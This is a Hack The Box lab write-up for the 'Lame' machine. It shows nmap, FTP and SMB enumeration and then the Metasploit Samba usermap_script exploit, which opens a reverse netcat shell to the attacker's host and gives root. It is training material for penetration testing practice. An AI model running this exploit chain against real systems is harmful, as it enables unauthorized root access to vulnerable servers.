

## LAME –

As an Initial step, used **Nmap** tool to enumerate and scan for open ports and services running on the target machine.

```
(kali㉿kali)-[~/HTB]
└─$ nmap -sC -sV 10.129.97.120 -Pn
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-11 14:52 EDT
Nmap scan report for 10.129.97.120
Host is up (0.026s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|   STAT:
|   FTP server status:
|     Connected to 10.10.14.53
|     Logged in as ftp
|     TYPE: ASCII
|     No session bandwidth limit
|     Session timeout in seconds is 300
|     Control connection is plain text
|     Data connections will be plain text
|     vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
|_ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name:
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_ System time: 2022-06-11T14:53:36-04:00
|_smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: mean: 2h00m29s, deviation: 2h49m45s, median: 27s
```

With the above results, there is a SSH, FTP and SMB service running on the machine.

Logged in to the FTP session as the service accepts Anonymous logins but as listed the contents in the session, there are no files in it.

```
(kali㉿kali)-[~/HTB]
$ ftp 10.129.97.120
Connected to 10.129.97.120.
220 (vsFTPd 2.3.4)
Name (10.129.97.120:kali): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||32756|).
150 Here comes the directory listing.
226 Directory send OK.
ftp> ls -al
229 Entering Extended Passive Mode (|||22576|).
150 Here comes the directory listing.
drwxr-xr-x  2 0          65534      4096 Mar 17  2010 .
drwxr-xr-x  2 0          65534      4096 Mar 17  2010 ..
```

Then moved forward to enumerate the SMB service and listed out the SMB shares on the machine.

```
(kali㉿kali)-[~/HTB]
$ smbclient -N -L \\10.129.97.120
Anonymous login successful

Sharename      Type      Comment
-----
print$         Disk     Printer Drivers
tmp            Disk     oh noes!
opt            Disk
IPC$           IPC      IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$         IPC      IPC Service (lame server (Samba 3.0.20-Debian))

Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

Server          Comment
-----
Workgroup       Master
WORKGROUP      LAME
```

Then logged in to the SMB share session to read the contents and yet no luck in the also.

```
(kali㉿kali)-[~/HTB]
$ smbclient \\\10.129.97.120\\tmp
Enter WORKGROUP\\kali's password:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
.
..
.ICE-unix
vmware-root
.X11-unix
.X0-lock
5565.jsvc_up
vgauthsvclog.txt.0
7282168 blocks of size 1024. 5385876 blocks available
smb: \>
```

Downloaded the file to the local machine using **mget** tool and read the contents which had not much information.

```
(kali㉿kali)-[~/HTB/Lame]
$ cat vgauthsvclog.txt.0
[Jun 11 14:51:44.658] [ message] [VGAuthService] VGAuthService 'build-4448496' logging at level 'normal'
[Jun 11 14:51:44.658] [ message] [VGAuthService] Pref_LogAllEntries: 1 preference groups in file '/etc/vmware-tools/vgauth.conf'
[Jun 11 14:51:44.658] [ message] [VGAuthService] Group 'service'
[Jun 11 14:51:44.658] [ message] [VGAuthService] samlSchemaDir=/usr/lib/vmware-vgauth/schemas
[Jun 11 14:51:44.658] [ message] [VGAuthService] Pref_LogAllEntries: End of preferences
[Jun 11 14:51:44.709] [ message] [VGAuthService] VGAuthService 'build-4448496' logging at level 'normal'
[Jun 11 14:51:44.709] [ message] [VGAuthService] Pref_LogAllEntries: 1 preference groups in file '/etc/vmware-tools/vgauth.conf'
[Jun 11 14:51:44.709] [ message] [VGAuthService] Group 'service'
[Jun 11 14:51:44.709] [ message] [VGAuthService] samlSchemaDir=/usr/lib/vmware-vgauth/schemas
[Jun 11 14:51:44.709] [ message] [VGAuthService] Pref_LogAllEntries: End of preferences
[Jun 11 14:51:44.709] [ message] [VGAuthService] Cannot load message catalog for domain 'VGAuthService', language 'C', catalog dir '.'.
[Jun 11 14:51:44.709] [ message] [VGAuthService] INIT SERVICE
[Jun 11 14:51:44.709] [ message] [VGAuthService] Using '/var/lib/vmware/VGAuth/aliasStore' for alias store root directory
[Jun 11 14:51:44.740] [ message] [VGAuthService] SAMLCreateAndPopulateGrammarPool: Using '/usr/lib/vmware-vgauth/schemas' for SAML schemas
[Jun 11 14:51:44.759] [ message] [VGAuthService] SAML Init: Allowing 300 of clock skew for SAML date validation
[Jun 11 14:51:44.759] [ message] [VGAuthService] BEGIN SERVICE
```

Finally on enumerating on the version of SMB service on the machine and searching exploits on the same, found an excellent exploit which can get us shell on to the machine as shown below.

```
msf6 > search Samba 3.0
Matching Modules
# Name Disclosure Date Rank Check Description
- - -
0 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution
1 exploit/linux/samba/chain_reply 2010-06-16 good No Samba chain_reply Memory Corruption (Linux x86)
2 exploit/linux/samba/lsa_transnames_heap 2007-05-14 good Yes Samba lsa_io_trans_names Heap Overflow
3 exploit/osx/samba/lsa_transnames_heap 2007-05-14 average No Samba lsa_io_trans_names Heap Overflow
4 exploit/solaris/samba/lsa_transnames_heap 2007-05-14 average No Samba lsa_io_trans_names Heap Overflow

Interact with a module by name or index. For example info 4, use 4 or use exploit/solaris/samba/lsa_transnames_heap
msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > show options
```

Configured all the details for the exploit and ran the same.

```
msf6 exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 10.10.14.53:4444
[*] Command shell session 1 opened (10.10.14.53:4444 → 10.129.97.120:35015) at 2022-06-11 15:21:00 -0400

ls
bin
boot
cdrom
dev
etc
home
```

Command Shell has been achieved on root privileges and hence the flag.

```
id
uid=0(root) gid=0(root)
cd root
/bin/sh: line 8: cd: root: No such file or directory
ls
Desktop
reset_logs.sh
root.txt
vnc.log
cat root.txt
f
```